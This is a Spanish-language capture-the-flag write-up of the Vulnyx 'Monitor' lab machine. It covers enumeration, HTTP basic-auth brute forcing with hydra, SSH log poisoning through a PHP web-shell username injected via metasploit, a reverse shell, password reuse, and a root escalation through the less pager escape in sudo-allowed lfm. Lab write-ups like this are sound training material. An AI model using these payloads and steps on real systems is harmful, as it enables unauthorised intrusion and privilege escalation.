Table of Contents
Vulnyx: Monitor Writeup
Welcome to my detailed writeup of the hard difficulty machine “Monitor” on Vulnyx. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a $VICTIM --ulimit 5000 -g
2192.168.18.131 -> [80]
1nmap -p80 -sCV $VICTIM -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-22 11:10 CET
3Nmap scan report for 192.168.18.131
4Host is up (0.00029s latency).
5
6PORT STATE SERVICE VERSION
780/tcp open http Apache httpd 2.4.56 ((Debian))
8|_http-server-header: Apache/2.4.56 (Debian)
9|_http-title: Apache2 Debian Default Page: It works
10
11Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
12Nmap done: 1 IP address (1 host up) scanned in 6.63 seconds
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn $VICTIM -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-22 11:10 CET
3Nmap scan report for 192.168.18.131
4Host is up (0.00021s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
7407/udp closed timbuktu
8639/udp closed msdp
96050/udp closed x11
1021902/udp closed unknown
1128349/udp closed unknown
1229319/udp closed unknown
13MAC Address: 00:0C:29:30:13:A0 (VMware)
14
15Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds
Del escaneo inicial podemos suponer que la intrusión de esta máquina va a ser vía web, ya que solo encontramos el puerto 80/TCP abierto.
HTTP Enumeration
whatweb
nos reporta que como servidor web se está utilizando Apache2
y además nos reporta un dominio monitoring.nyx
, vamos a añadirlo al /etc/hosts
.
1whatweb http://$VICTIM:80
2http://192.168.18.131:80 [200 OK] Apache[2.4.56], Country[RESERVED][ZZ], Email[contact@monitoring.nyx], HTTPServer[Debian Linux][Apache/2.4.56 (Debian)], IP[192.168.18.131], Title[Apache2 Debian Default Page: It works]
El sitio web es la página por defecto al instalar Apache2 (nos lleva al mismo lugar si accedemos por dominio, es decir, no se está aplicando Virtual Hosting)
No nos queda otra que fuzzear en búsqueda de recursos interesantes.
Al fuzzear con feroxbuster
no encontramos nada interesante.
1feroxbuster -u http://$VICTIM -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://192.168.18.131
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 🏁 HTTP methods │ [GET]
17 🔃 Recursion Depth │ 1
18 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁 Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22403 GET 9l 28w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23404 GET 9l 31w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
24200 GET 24l 126w 10355c http://192.168.18.131/icons/openlogo-75.png
25200 GET 369l 936w 10775c http://192.168.18.131/
26[####################] - 21s 220552/220552 0s found:2 errors:0
27[####################] - 20s 220547/220547 10792/s http://192.168.18.131/
Fuzzeando con extensiones de archivos tampoco encontré nada.
1feroxbuster -u http://$VICTIM -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -x php,txt,tar,gz,html,bk
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://192.168.18.131
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 💲 Extensions │ [php, txt, tar, gz, html, bk]
17 🏁 HTTP methods │ [GET]
18 🔃 Recursion Depth │ 1
19 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
20───────────────────────────┴──────────────────────
21 🏁 Press [ENTER] to use the Scan Management Menu™
22──────────────────────────────────────────────────
23403 GET 9l 28w 279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
24404 GET 9l 31w 276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
25200 GET 369l 936w 10775c http://192.168.18.131/index.html
26200 GET 24l 126w 10355c http://192.168.18.131/icons/openlogo-75.png
27200 GET 369l 936w 10775c http://192.168.18.131/
28[######>-------------] - 46s 509438/1543864 2m found:3 errors:0
29[####################] - 2m 1543864/1543864 0s found:3 errors:0
30[####################] - 2m 1543829/1543829 10889/s http://192.168.18.131/
VHost Fuzzing
Encontramos un subdominio event
al fuzzear con wfuzz
, esto podría ser interesante pero vemos que el tipo de respuesta es un 403, es decir, Forbidden.
1wfuzz --hh=10775 -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.monitoring.nyx" http://monitoring.nyx
2 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
3********************************************************
4* Wfuzz 3.1.0 - The Web Fuzzer *
5********************************************************
6
7Target: http://monitoring.nyx/
8Total requests: 114441
9
10=====================================================================
11ID Response Lines Word Chars Payload
12=====================================================================
13
14000000380: 403 9 L 28 W 285 Ch "event"
Agregamos el dominio event.monitoring.nyx
al /etc/hosts
Obviamente no podemos ver nada.
Fuzzeando este subdominio con feroxbuster
tampoco encontré nada, ni con extensiones ni sin ellas.
1feroxbuster -u http://event.monitoring.nyx -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -x php,txt,tar,gz,html,bk
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://event.monitoring.nyx
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 💲 Extensions │ [php, txt, tar, gz, html, bk]
17 🏁 HTTP methods │ [GET]
18 🔃 Recursion Depth │ 1
19 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
20───────────────────────────┴──────────────────────
21 🏁 Press [ENTER] to use the Scan Management Menu™
22──────────────────────────────────────────────────
23403 GET 9l 28w 285c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
24404 GET 9l 31w 282c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
25[####################] - 3m 1543829/1543829 0s found:0 errors:0
26[####################] - 3m 1543829/1543829 10033/s http://event.monitoring.nyx/
Así que en este punto, podemos probar a fuzzear con otras listas en vez de con la que siempre uso directory-list-2.3-medium.txt
.
Discovering interesting hidden resource
Después de varios fuzzeos y bastantes listas probadas, encontré un recurso /.admin
en la lista de raft-large-extensions-lowercase.txt
1feroxbuster -u http://event.monitoring.nyx -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-extensions-lowercase.txt -d 1 -t 100
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://event.monitoring.nyx
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-extensions-lowercase.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 🏁 HTTP methods │ [GET]
17 🔃 Recursion Depth │ 1
18 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁 Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22404 GET 9l 31w 282c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23403 GET 9l 28w 285c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
24401 GET 14l 54w 467c http://event.monitoring.nyx/.admin
25[####################] - 3s 2368/2368 0s found:1 errors:0
26[####################] - 3s 2368/2368 922/s http://event.monitoring.nyx/
Este sitio nos pide autenticación, y por ahora no tenemos ninguna credencial.
HTTP-GET Bruteforcing
Podemos probar con hydra
a realizar fuerza bruta, recomiendo dejarlo poco tiempo ya que esto es muy ruidoso y en una máquina, por muy difícil que sea, no creo que os hagan recorrer el rockyou.txt
hasta el final haciendo fuerza bruta por HTTP que ya sabemos que tarda bastante mas que simplemente utilizando john
o hashcat
.
El realm también nos da una pista de cual podría ser el usuario…
1hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 10 -f event.monitoring.nyx http-get "/.admin" -V -I
Después de un ratito, encontramos unas credenciales que aparentemente son válidas.
Tiene pinta de que las credenciales son válidas, pero no tenemos capacidad de directory listing en el recurso .admin
, así que vamos a seguir fuzzeando con extensiones a ver si encontramos algún archivo interesante.
Finding interesting file
Encontramos un recurso interesante, /.admin/event.php
1feroxbuster -u 'http://admin:system@event.monitoring.nyx/.admin/' -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -x php,txt,tar,gz,html,bk
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://admin:system@event.monitoring.nyx/.admin/
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 💲 Extensions │ [php, txt, tar, gz, html, bk]
17 🏁 HTTP methods │ [GET]
18 🔃 Recursion Depth │ 1
19 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
20───────────────────────────┴──────────────────────
21 🏁 Press [ENTER] to use the Scan Management Menu™
22──────────────────────────────────────────────────
23404 GET 9l 31w 282c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
24403 GET 9l 28w 285c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
25200 GET 11l 14w 133c http://event.monitoring.nyx/.admin/event.php
Bien, ¿y ahora qué?
IPv6 TCP Enumeration
Después de un rato, decidí calcular la IPv6 de la máquina víctima.
Una forma de hacer esto es derivarla desde su dirección MAC, por lo cual podemos comprobar nuestra tabla ARP para conseguir la MAC de la máquina víctima.
1arp -a
2? (192.168.18.254) at 00:50:56:e0:53:3a [ether] on eth0
3event.monitoring.nyx (192.168.18.131) at 00:0c:29:30:13:a0 [ether] on eth0
4? (192.168.18.2) at 00:50:56:e2:01:31 [ether] on eth0
Y en vez de hacer el cálculo manual, podemos utilizar esta herramienta online (que también nos dice como hacer el cálculo manualmente si queremos) para conseguir la IPv6.
Ahora, podemos utilizar nmap
con el parámetro -6
para hacer un escaneo por IPv6 y vemos un puerto interesante expuesto por IPv6 que no estaba por IPv4, el SSH.
1sudo nmap -p- --min-rate 5000 -n -Pn -sS -6 'fe80::20c:29ff:fe30:13a0'
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-22 11:50 CET
3Nmap scan report for fe80::20c:29ff:fe30:13a0
4Host is up (0.00070s latency).
5Not shown: 65533 closed tcp ports (reset)
6PORT STATE SERVICE
722/tcp open ssh
880/tcp open http
9MAC Address: 00:0C:29:30:13:A0 (VMware)
10
11Nmap done: 1 IP address (1 host up) scanned in 2.42 seconds
Para intentar conectarnos por SSH podemos utilizar el mismo comando ssh
pero con este formato.
1ssh -6 [login_other_comp]@fe80....%[interface_lan_name]
Y vemos que podemos intentar conectarnos, pero no tenemos la clave privada, además, como método de autenticación, aparentemente solo se admite la autenticación por clave privada.
1ssh -6 test@fe80::20c:29ff:fe30:13a0%eth0
2The authenticity of host 'fe80::20c:29ff:fe30:13a0%eth0 (fe80::20c:29ff:fe30:13a0%eth0)' can't be established.
3ED25519 key fingerprint is SHA256:3dqq7f/jDEeGxYQnF2zHbpzEtjjY49/5PvV5/4MMqns.
4This key is not known by any other names.
5Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6Warning: Permanently added 'fe80::20c:29ff:fe30:13a0%eth0' (ED25519) to the list of known hosts.
7test@fe80::20c:29ff:fe30:13a0%eth0: Permission denied (publickey).
Log Poisoning 2 RCE -> Foothold
Sin embargo, en el monitor de eventos que hemos encontrado antes, podemos ver que vemos el log de SSH… Por lo cual esto podríamos escalarlo a ejecución remota de comandos a través del típico Log Poisoning
ya que el archivo que está cargando estos logs tiene la extensión .php
Esto no lo podemos hacer mediante el comando ssh
ya que hace tiempo se añadió un filtro de caracteres especiales, este filtro solo existe en el cliente por lo cual si al servidor le llega una solicitud con un nombre de usuario que contenga caracteres especiales la va a procesar igualmente.
Para hacer esto, podemos hacer uso de este módulo de metasploit y así saltarnos este filtro de caracteres.
[!NOTE] La dirección MAC de la máquina víctima cambió ya que tuve un par de errores al hacer el Log Posioning y tuve que reinstalar la máquina
1msf6 > use auxiliary/scanner/ssh/ssh_login
2msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME <?php system($_GET["cmd"]); ?>
3USERNAME => <?php system($_GET[cmd]); ?>
4msf6 auxiliary(scanner/ssh/ssh_login) > set PASSWORD loquesea
5PASSWORD => loquesea
6msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS fe80::20c:29ff:fe83:8fd5%eth0
7RHOSTS => fe80::20c:29ff:fe83:8fd5%eth0
8msf6 auxiliary(scanner/ssh/ssh_login) > show options
9
10Module options (auxiliary/scanner/ssh/ssh_login):
11
12 Name Current Setting Required Description
13 ---- --------------- -------- -----------
14 ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password
15 BLANK_PASSWORDS false no Try blank passwords for all users
16 BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
17 CreateSession true no Create a new session for every successful login
18 DB_ALL_CREDS false no Try each user/password couple stored in the current
19 database
20 DB_ALL_PASS false no Add all passwords in the current database to the li
21 st
22 DB_ALL_USERS false no Add all users in the current database to the list
23 DB_SKIP_EXISTING none no Skip existing credentials stored in the current dat
24 abase (Accepted: none, user, user&realm)
25 PASSWORD loquesea no A specific password to authenticate with
26 PASS_FILE no File containing passwords, one per line
27 RHOSTS fe80::20c:29ff:fe83:8fd5%eth0 yes The target host(s), see https://docs.metasploit.com
28 /docs/using-metasploit/basics/using-metasploit.html
29 RPORT 22 yes The target port
30 STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
31 THREADS 1 yes The number of concurrent threads (max one per host)
32 USERNAME <?php system($_GET[cmd]); ?> no A specific username to authenticate as
33 USERPASS_FILE no File containing users and passwords separated by sp
34 ace, one pair per line
35 USER_AS_PASS false no Try the username as the password for all users
36 USER_FILE no File containing usernames, one per line
37 VERBOSE false yes Whether to print output for all attempts
38
39
40View the full module info with the info, or info -d command.
41
42msf6 auxiliary(scanner/ssh/ssh_login) > run
43
44[*] fe80::20c:29ff:fe83:8fd5%eth0:22 - Starting bruteforce
45[*] Scanned 1 of 1 hosts (100% complete)
46[*] Auxiliary module execution completed
Ahora, podemos ver que somos capaces de ejecutar comandos en la máquina víctima a través del query parameter cmd
Ahora, nos podemos poner en escucha con pwncat-cs
por el puerto 443.
1pwncat-cs -lp 443
Y enviarnos una revshell con el típico one-liner de bash.
Y de esta forma ya hemos ganado acceso a la máquina víctima.
1(remote) www-data@monitor:/var/www/site/.admin$ id
2uid=33(www-data) gid=33(www-data) groups=33(www-data)
User Pivoting
Exposed User Credential + Abusing Password Reuse
Como no tenemos acceso a la flag y detectamos que existe un usuario a parte de root
llamado kevin
, supongo que tenemos que migrar a este usuario primero para poder escalar privilegios.
1(remote) www-data@monitor:/var/www/site/.admin$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3kevin:x:1000:1000:kevin:/home/kevin:/bin/bash
Haciendo un análisis con linpeas.sh
encontré lo siguiente.
Obviamente corresponde al hash de la contraseña que hemos hecho fuerza bruta antes, pero siempre es buena idea revisar este archivo por si hay algún otro hash o credencial comentada como es el caso…
1(remote) www-data@monitor:/tmp$ cat /etc/apache2/.htpasswd
2admin:$apr1$3Duw.Wk/$tTB.rbcdqZvDC53SFe8Ab/
3#kevin:$up3r_$3cUr3_@p@CHe
Y de esta forma podemos migrar al usuario kevin
ya que también reutiliza la contraseña y podemos leer la flag de kevin
1(remote) www-data@monitor:/tmp$ su kevin
2Password:
3kevin@monitor:/tmp$ ls -la /home/kevin/
4total 24
5drwx------ 2 kevin kevin 4096 abr 23 2023 .
6drwxr-xr-x 3 root root 4096 nov 3 2023 ..
7lrwxrwxrwx 1 root root 9 abr 23 2023 .bash_history -> /dev/null
8-rw------- 1 kevin kevin 220 ene 15 2023 .bash_logout
9-rw------- 1 kevin kevin 3526 ene 15 2023 .bashrc
10-rw------- 1 kevin kevin 807 ene 15 2023 .profile
11-r-------- 1 kevin kevin 33 nov 3 2023 user.txt
12kevin@monitor:/tmp$ cat /home/kevin/user.txt
139951f9dd45d885d...
Privilege Escalation
Podemos ver que kevin
tiene permiso para ejecutar como root
el binario lfm
1kevin@monitor:/tmp$ sudo -l
2Matching Defaults entries for kevin on monitor:
3 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
4
5User kevin may run the following commands on monitor:
6 (root) NOPASSWD: /usr/bin/lfm
Al ejecutarlo me di cuenta que era un editor de texto, y con bastantes funcionalidades, por lo que me imaginé que como con nano
o con vi
, podemos llegar a ejecutar comandos.
Hay una funcionalidad de poder abrir una shell.
Pero simplemente, cuando abrí un archivo (en este caso linpeas.sh
que es bastante grande) vi que se utilizaba el pager por defecto que suele ser less
Y con este pager, si introducimos el carácter !COMANDO
podemos ejecutar un comando, y como estamos ejecutando lfm
como root
, este comando lo ejecutaremos como root
Y conseguimos una consola como root
1root@monitor:/tmp# id
2uid=0(root) gid=0(root) grupos=0(root)
Podemos leer la flag de root
1root@monitor:~# cat root.txt
22b56bbc9dffd52...
¡Y ya estaría!
Happy Hacking! 🚀
#Vulnyx #Monitor #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #VHost Fuzzing #HTTP-GET Bruteforcing #Hydra #Exposed SSH Logs #IPv6 TCP Enumeration #Log Poisoning #User Pivoting #Exposed User Credentials #Information Disclosure #Abusing Password Reuse #Abusing Sudo Privilege #Abusing Lfm Binary